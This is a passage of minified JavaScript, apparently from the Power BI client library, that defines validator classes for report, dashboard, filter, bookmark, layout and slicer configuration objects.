l=[{field:"filterPaneEnabled",validators:[i.Validators.booleanValidator]},{field:"navContentPaneEnabled",validators:[i.Validators.booleanValidator]},{field:"bookmarksPaneEnabled",validators:[i.Validators.booleanValidator]},{field:"useCustomSaveAsDialog",validators:[i.Validators.booleanValidator]},{field:"extensions",validators:[i.Validators.extensionArrayValidator]},{field:"layoutType",validators:[i.Validators.layoutTypeValidator]},{field:"customLayout",validators:[i.Validators.customLayoutValidator]},{field:"background",validators:[i.Validators.backgroundValidator]},{field:"visualSettings",validators:[i.Validators.visualSettingsValidator]},{field:"hideErrors",validators:[i.Validators.booleanValidator]},{field:"commands",validators:[i.Validators.commandsSettingsArrayValidator]},{field:"hyperlinkClickBehavior",validators:[i.Validators.hyperlinkClickBehaviorValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.SettingsValidator=l},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var l=t.prototype.validate.call(this,e,r,a);if(l)return l;var s=[{field:"playMode",validators:[i.Validators.fieldRequiredValidator,new n.EnumValidator([0,1])]}],d=new o.MultipleFieldsValidator(s);return d.validate(e,r,a)},e}(n.ObjectValidator);e.PlayBookmarkRequestValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"state",validators:[i.Validators.stringValidator]},{field:"displayName",validators:[i.Validators.stringValidator]},{field:"apply",validators:[i.Validators.booleanValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.AddBookmarkRequestValidator=s;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"name",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.ApplyBookmarkByNameRequestValidator=d;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"state",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.ApplyBookmarkStateRequestValidator=u},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this; }return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"table",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"column",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.FilterColumnTargetValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"keys",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringArrayValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(l);e.FilterKeyColumnsTargetValidator=s;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"table",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"hierarchy",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"hierarchyLevel",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.FilterHierarchyTargetValidator=d;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"keys",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringArrayValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(d);e.FilterKeyHierarchyTargetValidator=u;var p=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"table",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"measure",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.FilterMeasureTargetValidator=p;var c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"target",validators:[i.Validators.fieldRequiredValidator,i.Validators.filterTargetValidator]},{field:"operator",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"values",validators:[i.Validators.fieldRequiredValidator,i.Validators.anyArrayValidator]},{field:"filterType",validators:[i.Validators.basicFilterTypeValidator]},{field:"requiresSingleSelect",validators:[i.Validators.fieldRequiredValidator,i.Validators.booleanValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.BasicFilterValidator=c;var f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"target",validators:[i.Validators.fieldRequiredValidator,i.Validators.filterTargetValidator]},{field:"logicalOperator",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"conditions",validators:[i.Validators.fieldRequiredValidator,i.Validators.filterConditionsValidator]},{field:"filterType",validators:[i.Validators.advancedFilterTypeValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.AdvancedFilterValidator=f;var h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"target",validators:[i.Validators.fieldRequiredValidator,i.Validators.filterTargetValidator]},{field:"operator",validators:[i.Validators.fieldRequiredValidator,i.Validators.relativeDateFilterOperatorValidator]},{field:"timeUnitsCount",validators:[i.Validators.fieldRequiredValidator,i.Validators.numberValidator]},{field:"timeUnitType",validators:[i.Validators.fieldRequiredValidator,i.Validators.relativeDateFilterTimeUnitTypeValidator]},{field:"includeToday",validators:[i.Validators.fieldRequiredValidator,i.Validators.booleanValidator]},{field:"filterType",validators:[i.Validators.relativeDateFilterTypeValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.RelativeDateFilterValidator=h;var v=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"target",validators:[i.Validators.fieldRequiredValidator,i.Validators.filterTargetValidator]},{field:"operator",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"itemCount",validators:[i.Validators.fieldRequiredValidator,i.Validators.numberValidator]},{field:"filterType",validators:[i.Validators.topNFilterTypeValidator]},{field:"orderBy",validators:[i.Validators.fieldRequiredValidator,i.Validators.filterTargetValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.TopNFilterValidator=v;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"target",validators:[i.Validators.filterTargetValidator]},{field:"message",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"notSupportedTypeName",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"filterType",validators:[i.Validators.notSupportedFilterTypeValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.NotSupportedFilterValidator=y;var m=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"target",validators:[i.Validators.fieldRequiredValidator,i.Validators.filterTargetValidator]},{field:"isExclude",validators:[i.Validators.fieldRequiredValidator,i.Validators.booleanValidator]},{field:"values",validators:[i.Validators.fieldRequiredValidator,i.Validators.anyArrayValidator]},{field:"filterType",validators:[i.Validators.includeExludeFilterTypeValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.IncludeExcludeFilterValidator=m;var g=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(t,e,r){return null==t?null:i.Validators.anyFilterValidator.validate(t,e,r)},e}(n.ObjectValidator);e.FilterValidator=g;var V=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"value",validators:[i.Validators.anyValueValidator]},{field:"operator",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.ConditionItemValidator=V},function(t,e){Object.defineProperty(e,"__esModule",{value:!0});var r=function(){function t(){}return t.prototype.validate=function(t,e,r){return null==t?[{message:r+" is required",path:(e?e+".":"")+r,keyword:"required"}]:null},t}();e.FieldRequiredValidator=r},function(t,e){Object.defineProperty(e,"__esModule",{value:!0});var r=function(){function t(t){this.validators=t}return t.prototype.validate=function(t,e,r){if(null==t)return null;for(var a=!1,i=0,o=this.validators;i<o.length;i++){var n=o[i],l=n.validate(t,e,r);if(!l){a=!0;break}}return a?null:[{message:r+" property is invalid",path:(e?e+".":"")+r,keyword:"invalid"}]},t}();e.AnyOfValidator=r},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"accessToken",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"id",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"groupId",validators:[i.Validators.stringValidator]},{field:"settings",validators:[i.Validators.settingsValidator]},{field:"pageName",validators:[i.Validators.stringValidator]},{field:"filters",validators:[i.Validators.filtersArrayValidator]},{field:"permissions",validators:[i.Validators.permissionsValidator]},{field:"viewMode",validators:[i.Validators.viewModeValidator]},{field:"tokenType",validators:[i.Validators.tokenTypeValidator]},{field:"bookmark",validators:[i.Validators.applyBookmarkValidator]},{field:"theme",validators:[i.Validators.customThemeValidator]},{field:"embedUrl",validators:[i.Validators.stringValidator]},{field:"datasetBinding",validators:[i.Validators.datasetBindingValidator]},{field:"contrastMode",validators:[i.Validators.contrastModeValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.ReportLoadValidator=l},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"accessToken",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"datasetId",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"groupId",validators:[i.Validators.stringValidator]},{field:"tokenType",validators:[i.Validators.tokenTypeValidator]},{field:"theme",validators:[i.Validators.customThemeValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.ReportCreateValidator=l},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"accessToken",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"id",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"groupId",validators:[i.Validators.stringValidator]},{field:"pageView",validators:[i.Validators.pageViewFieldValidator]},{field:"tokenType",validators:[i.Validators.tokenTypeValidator]},{field:"embedUrl",validators:[i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.DashboardLoadValidator=l},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"accessToken",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"id",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"dashboardId",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"groupId",validators:[i.Validators.stringValidator]},{field:"pageView",validators:[i.Validators.stringValidator]},{field:"tokenType",validators:[i.Validators.tokenTypeValidator]},{field:"width",validators:[i.Validators.numberValidator]},{field:"height",validators:[i.Validators.numberValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.TileLoadValidator=l},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"type",validators:[i.Validators.fieldRequiredValidator,i.Validators.pageSizeTypeValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.PageSizeValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"width",validators:[i.Validators.numberValidator]},{field:"height",validators:[i.Validators.numberValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(l);e.CustomPageSizeValidator=s;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"name",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.PageValidator=d;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var i=t.prototype.validate.call(this,e,r,a);if(i)return i;var o=["actualSize","fitToWidth","oneColumn"];return o.indexOf(e)<0?[{message:'pageView must be a string with one of the following values: "actualSize", "fitToWidth", "oneColumn"'}]:null},e}(n.StringValidator);e.PageViewFieldValidator=u},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"accessToken",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"datasetIds",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringArrayValidator]},{field:"question",validators:[i.Validators.stringValidator]},{field:"viewMode",validators:[i.Validators.viewModeValidator]},{field:"settings",validators:[i.Validators.qnaSettingValidator]},{field:"tokenType",validators:[i.Validators.tokenTypeValidator]},{field:"groupId",validators:[i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.LoadQnaValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"filterPaneEnabled",validators:[i.Validators.booleanValidator]},{field:"hideErrors",validators:[i.Validators.booleanValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.QnaSettingsValidator=s;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"datasetIds",validators:[i.Validators.stringArrayValidator]},{field:"question",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.QnaInterpretInputDataValidator=d},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"name",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.SaveAsParametersValidator=l},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(2),o=function(t){function e(e,r){var a=t.call(this)||this;return a.keyValidators=e,a.valueValidators=r,a}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var i=t.prototype.validate.call(this,e,r,a);if(i)return i;for(var o in e)if(e.hasOwnProperty(o)){for(var n=(r?r+".":"")+a+"."+o,l=0,s=this.keyValidators;l<s.length;l++){var d=s[l];if(i=d.validate(o,n,a))return i}for(var u=0,p=this.valueValidators;u<p.length;u++){var c=p[u];if(i=c.validate(e[o],n,a))return i}}return null},e}(i.ObjectValidator);e.MapValidator=o},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"pageSize",validators:[i.Validators.pageSizeValidator]},{field:"displayOption",validators:[i.Validators.customLayoutDisplayOptionValidator]},{field:"pagesLayout",validators:[i.Validators.pagesLayoutValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.CustomLayoutValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"x",validators:[i.Validators.numberValidator]},{field:"y",validators:[i.Validators.numberValidator]},{field:"z",validators:[i.Validators.numberValidator]},{field:"width",validators:[i.Validators.numberValidator]},{field:"height",validators:[i.Validators.numberValidator]},{field:"displayState",validators:[i.Validators.displayStateValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.VisualLayoutValidator=s;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"mode",validators:[i.Validators.displayStateModeValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.DisplayStateValidator=d;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"visualsLayout",validators:[i.Validators.fieldRequiredValidator,i.Validators.pageLayoutValidator]},{field:"defaultLayout",validators:[i.Validators.visualLayoutValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.PageLayoutValidator=u},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(4),o=r(2),n=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"rows",validators:[new o.NumberValidator]},{field:"exportDataType",validators:[new o.EnumValidator([0,1])]}],s=new i.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(o.ObjectValidator);e.ExportDataRequestValidator=n},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=r(2),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var s=[{field:"$schema",validators:[i.Validators.stringValidator,new l.SchemaValidator("http://powerbi.com/product/schema#visualSelector")]},{field:"visualName",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],d=new o.MultipleFieldsValidator(s);return d.validate(e,r,a)},e}(n.ObjectValidator);e.VisualSelectorValidator=s;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var s=[{field:"$schema",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator,new l.SchemaValidator("http://powerbi.com/product/schema#visualTypeSelector")]},{field:"visualType",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],d=new o.MultipleFieldsValidator(s);return d.validate(e,r,a)},e}(n.ObjectValidator);e.VisualTypeSelectorValidator=d;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var s=[{field:"$schema",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator,new l.SchemaValidator("http://powerbi.com/product/schema#slicerTargetSelector")]},{field:"target",validators:[i.Validators.fieldRequiredValidator,i.Validators.slicerTargetValidator]}],d=new o.MultipleFieldsValidator(s);return d.validate(e,r,a)},e}(n.ObjectValidator);e.SlicerTargetSelectorValidator=u},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"selector",validators:[i.Validators.fieldRequiredValidator,i.Validators.slicerSelectorValidator]},{field:"state",validators:[i.Validators.fieldRequiredValidator,i.Validators.slicerStateValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.SlicerValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"filters",validators:[i.Validators.filtersArrayValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.SlicerStateValidator=s},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"visualHeaders",validators:[i.Validators.visualHeadersValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.VisualSettingsValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"visible",validators:[i.Validators.booleanValidator]}],s=new o.MultipleFieldsValidator(l);return 